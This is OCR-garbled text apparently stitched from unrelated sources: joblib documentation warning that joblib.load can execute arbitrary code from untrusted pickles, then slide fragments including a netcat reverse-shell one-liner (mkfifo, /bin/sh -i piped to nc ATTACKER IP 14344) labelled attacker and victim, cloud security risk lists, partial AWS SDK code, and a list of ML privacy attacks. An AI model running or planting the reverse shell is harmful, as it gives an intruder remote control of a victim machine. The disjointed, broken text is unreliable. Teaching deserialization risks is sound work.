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Joblib

Navigation

Why joblib: project goals
Installing joblib

On demand recomputing:
the Memory class
Embarrassingly parallel
for loops

Persistence

= Use case

= A simple example

= Persistence in file objects
= Compressed joblib pickles

Examples
Development

joblib.Memory
joblib.Parallel
joblib.dump
joblib.load

Persistence

Use case

joblib.dump() and joblib.load() provide a replacement for pickle to work efficient-
ly on arbitrary Python objects containing large data, in particular large numpy arrays.

Warning:

joblib.dump() and joblib.load() are based on the Python pickle serializa-
tion model, which means that arbitrary Python code can be executed when
loading a serialized object with joblib.load().

joblib.load() should therefore never be used to load objects from an untrust-
ed source or otherwise you will introduce a security vulnerability in your
program.

Note:

As of Python 3.8 and numpy 1.16, pickle protocol 5 introduced in PEP 574 sup-
ports efficient serialization and de-serialization for large data buffers natively
using the standard library:

pickle.dump(large_object, fileobj, protocol=5)




MALICIOUS

nc —nvl 14344 <

ATTACKER MACHINE

FILE

VICTIM MACHINE / RESOURCE

mkfifo /tmp/ABC;

cat /tmp/ABC | /bin/sh -i 2>&l

| nc ATTACKER IP 14344 > /tmp/ABC
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INEFFECTIVE LOGGING AND MONITORING
CONTAINER ORCHESTRATION

SECURITY MISCONFIGURATION
SENSITIVE DATA EXPOSURE

ATTACKS ON CLOUD RESOURCES

NETWORK SECURITY MISCONFIGURATION
Cl/CD PIPELINE
SECURITY ISSUES

INSECURE SECRET STORAGE



CloudWatch
Scheduled

Event
CloudWatch
Logs

ec2.describeInstances(function(err, data) {

if (err)
console.log(err, err.stack),;
} else {

for (var index in data.Reservations) {
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Membership inference attack

Model inversion attack

ATTACKS ON
DATA PRIVACY & MODEL PRIVACY

Attribute inference attack

Model extraction attack

De-anonynimization
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BUILD YOUR OWN TOOLS?
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